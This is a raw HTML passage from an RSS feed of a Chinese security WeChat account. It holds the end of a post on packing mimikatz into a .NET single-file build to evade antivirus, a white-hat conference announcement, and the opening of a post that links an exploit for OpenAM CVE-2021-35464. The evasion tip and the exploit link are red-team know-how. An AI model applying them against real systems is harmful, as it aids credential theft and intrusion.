0.1px;">dotnet publish -r win-x64 -c Release /p:PublishSingleFile=true /p:IncludeNativeLibrariesForSelfExtract=true --self-contained true</span></pre></div></pre><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.684375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=6f8eed21&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibor8FjASXjVcicLAzMQGhXtb9IAyjAMBLhdaaXmSDVsaeyqg8EHZTvkQticdCQMrv8aETtfbFFrKLdQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">一个mimikatz打包下来20M，免杀有点效果，当作学习思路吧。</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><a href="https://www.virustotal.com/gui/file/2a7a24e81c5672f694d2adc18a5b0c0713910d3711924a218e7cc8229e1464f1/detection" target="_blank">https://www.virustotal.com/gui/file/2a7a24e81c5672f694d2adc18a5b0c0713910d3711924a218e7cc8229e1464f1/detection</a></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="396" data-ratio="0.625" data-s="300,640" style="width: 578px;height: 361px;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=26bd4f8e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibor8FjASXjVcicLAzMQGhXtbiaReHzqLBafgz1ynjEE1O1F0xYd04hMhdQUAKl3K7RbhRPEyM7Gsk8g%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"> </p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">看了看GitHub上 Casey Smith 还写了一个PELoader，可以直接用dotnet framework运行，体积比上面那个小得多。</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><a href="https://github.com/rvrsh3ll/PELoader/blob/master/Loader.cs" target="_blank">https://github.com/rvrsh3ll/PELoader/blob/master/Loader.cs</a></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">代码差别不大，直接用就行了，这里就不提了。</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">一直觉得dotnet core在红队开发中应该大有可为，现在面临的最大问题就是打包体积太大，唉硬伤啊，只能等微软的进一步开发计划了。</span></p><p><br/></p><p><span style="color: rgb(255, 255, 255);background-color: rgb(255, 255, 255);">凑字数凑字数凑字数凑字数凑字数凑字数凑字数<span style="background-color: rgb(255, 255, 255);color: rgb(255, 255, 255);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">凑字数</span>凑字数<span style="background-color: rgb(255, 255, 255);color: rgb(255, 255, 255);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">凑字数</span>凑字数<span style="background-color: rgb(255, 255, 255);color: rgb(255, 255, 255);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">凑字数凑字数凑字数</span>凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数<span style="background-color: rgb(255, 255, 255);color: rgb(255, 255, 255);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">凑字数</span>凑字数<span style="background-color: rgb(255, 255, 255);color: rgb(255, 255, 255);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">凑字数</span>凑字数<span style="background-color: rgb(255, 255, 255);color: rgb(255, 255, 255);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">凑字数凑字数凑字数</span>凑字数凑字数<span style="background-color: rgb(255, 255, 255);color: rgb(255, 255, 255);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数</span></span></p>



<p><a href="2247486153">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6de7f7f6&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU0ODg2MDA0NQ%3D%3D%26mid%3D2247486153%26idx%3D1%26sn%3D49f47f8cc9b849b83ace84ab578299d4%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 30 Aug 2021 18:00:00 +0800</pubDate>
    </item>
    <item>
      <title>抢先看！“补天白帽大会”全议程公布！六大亮点不容错过！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU0ODg2MDA0NQ==&amp;mid=2247486144&amp;idx=1&amp;sn=925be6ea384cb376614e8c118fb03a75</link>
      <description>注意查收！“补天白帽大会” 全议程已更新！速来！8月11日行业大咖齐聚补天白帽大会，畅聊技术，放肆high玩</description>
      <content:encoded><![CDATA[<p>
<span>白帽大会</span> <span>2021-07-29 18:28</span> <span style="display: inline-block;"></span>
</p>

<p>注意查收！“补天白帽大会” 全议程已更新！速来！8月11日行业大咖齐聚补天白帽大会，畅聊技术，放肆high玩</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=92ee5c17&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FWdbaA7b2IE4anY6duiciabaBgW2iczTkgFVups0E23CFXogeF2nuNNbhOdxmuJMs3RFhMYSkIXjUk0p26VkgqRAicA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-role="outer" label="Powered by 135editor.com"><section data-role="paragraph"><p style="text-align:center;text-indent: 0em;"><span style="font-size: 16px;"><strong><span style="font-family: 微软雅黑;">注意查收！</span></strong></span></p><p style="text-align:center;text-indent: 0em;"><span style="font-size: 16px;"><strong><span style="font-family: 微软雅黑;"><strong>“</strong></span></strong><strong><span style="font-family: 微软雅黑;"><strong>补天白帽大会</strong><strong>”</strong></span></strong><strong><span style="font-family: 微软雅黑;"><strong> </strong><strong>全议程已更新！</strong></span></strong></span></p><p style="text-align:center;text-indent: 0em;"><span style="font-size: 16px;"><strong><span style="font-family: 微软雅黑;">速来！</span></strong></span></p><section data-tools="135编辑器" data-id="96211"><section style="margin:10px auto;"><section data-autoskip="1" style="font-size: 14px;letter-spacing: 1.5px;line-height: 1.75em;color: rgb(62, 62, 62);padding-right: 1em;padding-left: 1em;margin-top: -1.3em;margin-bottom: -1.3em;box-sizing: border-box;"><section data-tools="135编辑器" data-id="96211"><section style="margin:10px auto;"><section><section style="box-sizing: border-box;height: 16px;width: 0px;border-width: 8px;border-style: solid;border-color: transparent transparent transparent rgb(70, 61, 59);margin-left: 2em;overflow: hidden;"><br/></section><section style="box-sizing: border-box;width: 2em;height: 2em;border-top-left-radius: 10px;border-top: 2px solid rgb(70, 61, 59);border-left: 2px solid rgb(70, 61, 59);border-bottom: none;border-right: none;margin-top: -10px;overflow: hidden;"><br/></section></section><section data-autoskip="1" style="letter-spacing: 1.5px;line-height: 1.75em;padding-right: 1em;padding-left: 1em;margin-top: -1.3em;margin-bottom: -1.3em;box-sizing: border-box;"><p style="text-indent: 2em;"><span style="font-size: 15px;font-family: 微软雅黑;">8月11日行业大咖齐聚补天白帽大会，畅聊技术，放肆high玩！六大亮点，期待你的到来！</span></p><p style="text-indent: 2em;"><span style="font-size: 15px;font-family: 微软雅黑;">“2021补天白帽大会”惊喜不断，这里有：极具价值的报告分析、重量级的奖项颁布、热门的议题云集、烧脑的破解游戏、酷炫的神兵集结、疯狂的白帽之夜。想知道还有什么惊喜，请亲自来到现场！</span></p></section><section style="text-align:right;"><section style="display:inline-block;"><section style="box-sizing: border-box;width: 2em;height: 2em;border-bottom-right-radius: 10px;border-right: 2px solid rgb(70, 61, 59);border-bottom: 2px solid rgb(70, 61, 59);border-top: none;border-left: none;overflow: hidden;"><br/></section><section style="box-sizing: border-box;height: 0px;width: 0px;border-width: 8px;border-style: solid;border-color: transparent rgb(70, 61, 59) transparent transparent;margin-left: -0.8em;margin-top: -9px;"><br/></section></section></section></section></section><section data-tools="135编辑器" data-id="100198"><section style="margin: 10px auto;text-align: center;"><section style="display: inline-block;padding-left: 30px;box-sizing: border-box;"><section style="display: flex;"><section style="box-sizing: border-box;width: 50px;margin-bottom: -38px;margin-left: -30px;"><img data-ratio="1.0328125" style="box-sizing:border-box;display: block;width: 100%;" data-type="gif" data-w="640" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=d933096b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FWdbaA7b2IE4anY6duiciabaBgW2iczTkgFV0oSvze7sCkF76Wtmf8Y5HQ6BBAgt9ZmhuGJkpIDLjA30vxNzickDgPg%2F640%3Fwx_fmt%3Dgif"/></section></section><section data-brushtype="text" style="font-size: 43px;letter-spacing: 1.5px;color: rgb(31, 73, 125);" hm_fix="300:331"><strong>六大亮点</strong></section><p style="text-align:center;font-size: 16px;letter-spacing: 1.5px;"><br/></p><p style="text-align:center;font-size: 16px;letter-spacing: 1.5px;"><br/></p></section></section></section></section></section></section></section><section data-tools="135编辑器" data-id="95228"><section style="margin-right: auto;margin-left: auto;"><section style="box-sizing: border-box;border-width: 2px;border-style: solid;border-color: rgb(31, 73, 125);padding-top: 10px;padding-bottom: 10px;width: 100%;display: inline-block;" data-width="100%"><section style="margin-top:10px;padding: 20px;box-sizing:border-box;"><section data-tools="135编辑器" data-id="99882"><section style="margin-right: auto;margin-bottom: 10px;margin-left: auto;text-align: center;"><section style="display:inline-block;"><section style="font-size: 60px;color: rgb(251, 226, 25);"><strong>亮点一</strong></section><section style="margin-top: -46px;margin-left: 45px;"><p style="text-align:center;font-size: 16px;letter-spacing: 1.5px;color: rgb(31, 73, 125);"><span style="font-size: 15px;"><strong hm_fix="332:588">发布白帽人才报告       </strong></span></p><p style="text-align:center;font-size: 16px;letter-spacing: 1.5px;color: rgb(31, 73, 125);"><span style="font-size: 15px;"><strong hm_fix="332:588">解读白帽历年趋势变化</strong></span><strong hm_fix="332:588">      </strong></p></section></section></section></section><p style="text-indent: 2em;"><span style="font-size: 15px;font-family: 微软雅黑;">白帽子帮助企业发现漏洞，在企业安全建设中承担重要的角色，他们是网络安全圈内最“潮”的人。本次大会将为大家带来《2021中国白帽子人才报告》，分析最新的人才数据和历年趋势变化，洞见当代白帽价值。</span></p><p><br/></p><section data-tools="135编辑器" data-id="99882"><section style="margin-right: auto;margin-bottom: 10px;margin-left: auto;text-align: center;"><section style="display:inline-block;"><section style="font-size: 60px;color: rgb(251, 226, 25);" hm_fix="265:567"><strong>亮点二</strong></section><section style="margin-top: -46px;margin-left: 45px;"><p style="text-align:center;font-size: 16px;letter-spacing: 1.5px;color: rgb(31, 73, 125);"><span style="font-size: 15px;"><strong>奖励优秀白帽及SRC        </strong></span></p><p style="text-align:center;font-size: 16px;letter-spacing: 1.5px;color: rgb(31, 73, 125);"><span style="font-size: 15px;"><strong>双项重量级颁奖首次颁布</strong></span><span style="font-size: 16px;"><strong>  </strong></span><span style="font-size: 15px;"><strong>     </strong></span></p></section></section></section></section><p style="text-align:justify;text-indent: 2em;"><span style="font-size: 15px;">2021补天白帽大会首次采用<strong>“6+1”颁奖模式</strong>，包括由补天平台颁发的六个“补天年度大奖”和一个由特邀专家和特邀白帽及大众共同评选的“补天繁星奖”。<span style="font-size: 15px;font-family: 微软雅黑;">补天作为企业与白帽子的桥梁，秉持客观、公正、专业的态度，为所有奋战在一线的网络安全从业者加油鼓气。</span></span></p><section data-role="paragraph"><p><br/></p></section><section data-tools="135编辑器" data-id="99882"><section style="margin-right: auto;margin-bottom: 10px;margin-left: auto;text-align: center;"><section style="display:inline-block;"><p style="text-align:center;font-size: 60px;color: rgb(251, 226, 25);"><strong>亮点三</strong></p><section style="margin-top: -46px;margin-left: 45px;"><section style="text-align: center;font-size: 16px;letter-spacing: 1.5px;color: rgb(31, 73, 125);text-indent: 0em;"><span style="font-size: 15px;"><strong hm_fix="348:593">高质量议题云集       </strong></span></section><section style="text-align: center;font-size: 16px;letter-spacing: 1.5px;color: rgb(31, 73, 125);text-indent: 0em;"><span style="font-size: 15px;"><strong hm_fix="348:593">白帽最关心的热门话题这里都有       </strong></span></section></section></section></section></section><p style="text-align:left;text-indent: 2em;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">如果太空发射的时候信号被拦截了怎么办？</span><span style="font-size: 15px;text-indent: 2em;caret-color: red;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">加密货币没有想象中的那么安全？云原生容器集群最经常被攻击者完整控制的方式是什么呢？供应链攻击仅仅是软件投毒吗？如何实现零接触控车？硬核的windows漏洞挖掘是怎样的？</span><span style="text-indent: 32px;caret-color: red;font-size: 15px;font-family: 微软雅黑;">大会邀请到多位行业大咖，议题从卫星安全到加密货币安全，从云上攻击到供应链攻击。还有保留项目二进制漏洞挖掘及分享多个汽车漏洞挖掘思路。</span></p><p style="text-align:center;text-indent: 0em;"><img data-ratio="2.5330882352941178" title="图片2.png" data-type="png" data-w="544" src="https://wechat2rss.xlab.app/img-proxy/?k=ad256d7c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FWdbaA7b2IE4anY6duiciabaBgW2iczTkgFVOGCEDic5dlmFhTk6KKz8tpP6eTghBWzDNdxWQ58EMEP6x3nRMseJsYQ%2F640%3Fwx_fmt%3Dpng"/><span style="text-align: left;text-indent: 32px;font-size: 12px;">注：最终议程以实际安排为准</span></p><p style="text-align:center;text-indent: 0em;"><br/></p><section data-tools="135编辑器" data-id="99882"><section style="margin-right: auto;margin-bottom: 10px;margin-left: auto;text-align: center;"><section style="display:inline-block;"><section style="font-size: 60px;color: rgb(251, 226, 25);"><strong>亮点四</strong></section><section style="margin-top: -46px;margin-left: 45px;"><section style="text-align: center;font-size: 16px;letter-spacing: 1.5px;color: rgb(31, 73, 125);text-indent: 0em;"><strong style="letter-spacing: 1.5px;text-indent: 0em;font-size: 15px;">探索Xspace      </strong><br/></section><p style="text-align:center;font-size: 16px;letter-spacing: 1.5px;color: rgb(31, 73, 125);"><span style="font-size: 15px;"><strong>体验破解乐趣赢超级大礼      </strong></span></p></section></section></section></section><p style="text-indent:32px;"><span style="font-size: 15px;font-family: 微软雅黑;">大会直击Xspace现场，设置Lock Collection、Car Collection两大项目。通过破解锁和无人驾驶车，各路英雄大展身手，攻克一个个关卡，探索技术乐趣，挑战成功的英雄还将获得超级大礼！</span></p><p style="text-align:left;text-indent: 32px;"><br/></p><section data-tools="135编辑器" data-id="99882"><section style="margin-right: auto;margin-bottom: 10px;margin-left: auto;text-align: center;"><section style="display:inline-block;"><section style="font-size: 60px;color: rgb(251, 226, 25);"><strong>亮点五</strong></section><section style="margin-top: -46px;margin-left: 45px;"><p style="text-align:center;font-size: 16px;letter-spacing: 1.5px;color: rgb(31, 73, 125);"><span style="font-size: 15px;"><strong>神兵集结Tools Collection论坛       </strong></span></p><p style="text-align:center;font-size: 16px;letter-spacing: 1.5px;color: rgb(31, 73, 125);"><span style="font-size: 15px;"><strong>共铸网安利器      </strong></span></p></section></section></section></section><p style="text-indent: 2em;"><span style="font-size: 15px;font-family: 微软雅黑;">在Tools Collection论坛上展示8大开源工具，同时首创评选机制，</span><span style="color: rgb(25, 25, 25);font-size: 15px;font-family: 微软雅黑;">开源的本质是共享技术，</span><span style="font-size: 15px;font-family: 微软雅黑;">技术的共享开源是开源精神的诞生，希望能够磨砺更多神兵利器，推动网络安全向前发展进步。</span></p><p style="text-align:center;text-indent: 0em;"><br/></p><section data-tools="135编辑器" data-id="99882"><section style="margin-right: auto;margin-bottom: 10px;margin-left: auto;text-align: center;"><section style="display:inline-block;"><section style="font-size: 60px;color: rgb(251, 226, 25);"><strong>亮点六</strong></section><section style="margin-top: -46px;margin-left: 45px;"><p style="text-align:center;font-size: 16px;letter-spacing: 1.5px;color: rgb(31, 73, 125);"><span style="font-size: 15px;"><strong> 白帽放肆high        </strong></span></p><p style="text-align:center;font-size: 16px;letter-spacing: 1.5px;color: rgb(31, 73, 125);"><strong style="font-size: 15px;letter-spacing: 1.5px;">纵享巨浪之夜        </strong></p></section></section></section></section><p style="text-indent:32px;"><span style="font-size: 15px;font-family: 微软雅黑;">结束一天的补天白帽大会议程，卸下一天的紧张与忙碌，让孤独的“漏洞”战场守夜猎人尽情释放自我！我们为白帽子提供一个汲取干货、嗨fun一夏的机会。我们呈现的不仅仅是一场音乐演出，我们要让迷人的乐队、迷幻的灯光、澎湃的曲调贯穿白帽之夜的每个角落、冲击每个新时代白帽子的灵魂！还有更多你意想不到的惊喜！大家一起燥起来吧！</span></p></section></section></section></section><section data-role="paragraph"><p style="text-align:center;"><br/></p><p style="text-align:center;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;"><span style="font-size: 15px;">当然啦，</span></span></p><p style="text-align:center;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">大会的精彩不止于此，</span></p><p style="text-align:center;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">心动不如行动，</span></p><p style="text-align:center;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">快来大会现场亲自体验吧！</span></p><p style="text-align:center;"><span style="font-size: 15px;color: #3e3e3e;letter-spacing: 1.5px;text-indent: 2em;">长按识别下方二维码，</span></p><p style="text-align:center;max-inline-size: 100%;min-height: 1em;cursor: text;color: rgb(62, 62, 62);font-size: 14px;letter-spacing: 1.5px;caret-color: rgb(255, 0, 0);text-indent: 2em;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;, sans-serif;box-sizing: border-box !important;outline: none 0px !important;"><span style="font-size: 15px;">速速报名！</span></p><section data-tools="135编辑器" data-id="97731" style="max-inline-size: 100%;border-width: 0px;border-style: none;border-color: initial;z-index: 0;color: rgb(62, 62, 62);font-size: 14px;letter-spacing: 1.5px;caret-color: rgb(255, 0, 0);background-color: rgb(255, 255, 255);font-family: 微软雅黑, &#34;Microsoft YaHei&#34;, sans-serif;box-sizing: border-box !important;outline: none 0px !important;"><section style="max-inline-size: 100%;margin: 10px auto 30px;text-align: center;box-sizing: border-box !important;outline: none 0px !important;"><section style="max-inline-size: 100%;display: inline-block;box-sizing: border-box !important;outline: none 0px !important;"><section style="max-inline-size: 100%;padding: 10px;background: rgb(233, 247, 255);transform: rotate(0deg);box-sizing: border-box !important;outline: none 0px !important;"><section style="max-inline-size: 100%;margin-right: 20px;display: flex;justify-content: flex-end;align-items: center;box-sizing: border-box !important;outline: none 0px !important;"><section style="box-sizing: border-box;max-inline-size: 100%;width: 12px;height: 12px;border-width: 1px;border-style: solid;border-color: rgb(98, 187, 243);overflow: hidden;outline: none 0px !important;"><br/></section><section style="box-sizing: border-box;max-inline-size: 100%;margin-left: 4px;width: 12px;height: 12px;border-width: 1px;border-style: solid;border-color: rgb(98, 187, 243);overflow: hidden;outline: none 0px !important;"><br/></section><section style="box-sizing: border-box;max-inline-size: 100%;margin-left: 4px;width: 12px;height: 12px;border-width: 1px;border-style: solid;border-color: rgb(98, 187, 243);overflow: hidden;outline: none 0px !important;"><br/></section><section style="box-sizing: border-box;max-inline-size: 100%;margin-left: 4px;width: 12px;height: 12px;border-width: 1px;border-style: solid;border-color: rgb(98, 187, 243);overflow: hidden;outline: none 0px !important;"><br/></section></section><section style="box-sizing: border-box;max-inline-size: 100%;width: 225px;outline: none 0px !important;"><section style="max-inline-size: 100%;padding-top: 15px;padding-right: 15px;padding-left: 15px;box-sizing: border-box;outline: none 0px !important;"><img data-ratio="1" style="box-sizing: border-box;max-inline-size: 100%;width: 100%;display: block;outline: none 0px !important;" data-type="png" data-w="331" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=e57ee26c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FWdbaA7b2IE4anY6duiciabaBgW2iczTkgFVrRWYyj6QzGfscMO7j9YSTpvAs0icaJwiaEjP5rriayQp0v6AEZyUSaEFg%2F640%3Fwx_fmt%3Dpng"/></section></section><section style="max-inline-size: 100%;text-align: right;box-sizing: border-box !important;outline: none 0px !important;"><section style="box-sizing: border-box;max-inline-size: 100%;margin-right: 15px;width: 35px;display: inline-block;outline: none 0px !important;"><img data-ratio="0.2153846153846154" style="box-sizing: border-box;max-inline-size: 100%;width: 100%;display: block;outline: none 0px !important;" data-type="png" data-w="65" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=78c5b5ef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FWdbaA7b2IE4anY6duiciabaBgW2iczTkgFVTTfU4gP7z0DueFxuktnaq8dc1bnsqOOENMAkiboXT4pLJL2x1eC1UUQ%2F640%3Fwx_fmt%3Dpng"/></section></section></section><section style="max-inline-size: 100%;margin-top: -80px;display: flex;justify-content: center;align-items: flex-end;box-sizing: border-box !important;outline: none 0px !important;"><section style="max-inline-size: 100%;margin-left: -20px;height: 80px;flex: 1 1 0%;background: rgb(1, 108, 180);overflow: hidden;box-sizing: border-box !important;outline: none 0px !important;"><br/></section><section style="max-inline-size: 100%;margin-right: -20px;height: 80px;flex: 1 1 0%;background: rgb(1, 108, 180);overflow: hidden;box-sizing: border-box !important;outline: none 0px !important;"><br/></section></section><section style="max-inline-size: 100%;margin-top: -80px;transform: rotate(0deg);box-sizing: border-box !important;outline: none 0px !important;"><section style="max-inline-size: 100%;display: flex;justify-content: center;align-items: flex-end;box-sizing: border-box !important;outline: none 0px !important;"><section style="box-sizing: border-box;max-inline-size: 100%;margin-left: -20px;overflow: hidden;width: 0px;height: 70px;border-bottom: 70px solid rgb(131, 204, 244);border-right: 50px solid transparent;outline: none 0px !important;"><br/></section><section style="box-sizing: border-box;max-inline-size: 100%;margin-right: -20px;overflow: hidden;width: 0px;height: 70px;border-bottom: 70px solid rgb(131, 204, 244);border-left: 50px solid transparent;outline: none 0px !important;"><br/></section></section><section style="max-inline-size: 100%;display: flex;justify-content: center;align-items: flex-end;box-sizing: border-box !important;outline: none 0px !important;"><section style="max-inline-size: 100%;margin-left: -20px;height: 80px;flex: 1 1 0%;background: rgb(131, 204, 244);overflow: hidden;box-sizing: border-box !important;outline: none 0px !important;"><br/></section><section style="max-inline-size: 100%;margin-right: -20px;height: 80px;flex: 1 1 0%;background: rgb(131, 204, 244);overflow: hidden;box-sizing: border-box !important;outline: none 0px !important;"><br/></section></section><section style="max-inline-size: 100%;margin-top: -48px;transform: rotate(0deg);box-sizing: border-box !important;outline: none 0px !important;"><section data-brushtype="text" style="max-inline-size: 100%;cursor: text;color: rgb(1, 108, 180);letter-spacing: 1.5px;box-sizing: border-box !important;outline: none 0px !important;">扫码报名</section></section></section></section></section></section><p style="text-align:center;"><br/></p><p><img data-ratio="1.9712962962962963" data-w="1080" data-type="jpeg" src="https://wechat2rss.xlab.app/img-proxy/?k=5c88e4c7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FWdbaA7b2IE4anY6duiciabaBgW2iczTkgFVSibX7p0GTXrjsKF2uQianvnibqgHnlq4OVV7jpEZRs8ubNw6Rzpia5EMaw%2F640%3Fwx_fmt%3Djpeg"/></p></section></section>



<p><a href="2247486144">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=5ff0c8e4&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU0ODg2MDA0NQ%3D%3D%26mid%3D2247486144%26idx%3D1%26sn%3D925be6ea384cb376614e8c118fb03a75%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 29 Jul 2021 18:28:00 +0800</pubDate>
    </item>
    <item>
      <title>openam-CVE-2021-35464 tomcat 执行命令回显</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU0ODg2MDA0NQ==&amp;mid=2247486142&amp;idx=1&amp;sn=c6adf05fa85c40f7ce8fb927a122759a</link>
      <description>github项目地址https://github.com/Y4er/openam-CVE-2021-3546</description>
      <content:encoded><![CDATA[<p>
原创 <span>Y4er</span> <span>2021-07-02 12:34</span> <span style="display: inline-block;"></span>
</p>

<p>github项目地址https://github.com/Y4er/openam-CVE-2021-3546</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=6fa27d2b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FzleycDibFeibryQgYZvDaUgKm0TjuVh21Pgxua8gUk8NPR7jX4TgsXm2HiaSLjg98W0ico1Glk62Ul39Khvia0Pd5Bg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 style="box-sizing: border-box;margin: 4em auto 2em;padding-right: 1em;padding-left: 1em;font-weight: bold;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">github项目地址</h2><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;"><a href="https://github.com/Y4er/openam-CVE-2021-35464" target="_blank">https://github.com/Y4er/openam-CVE-2021-35464</a></p><p><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei 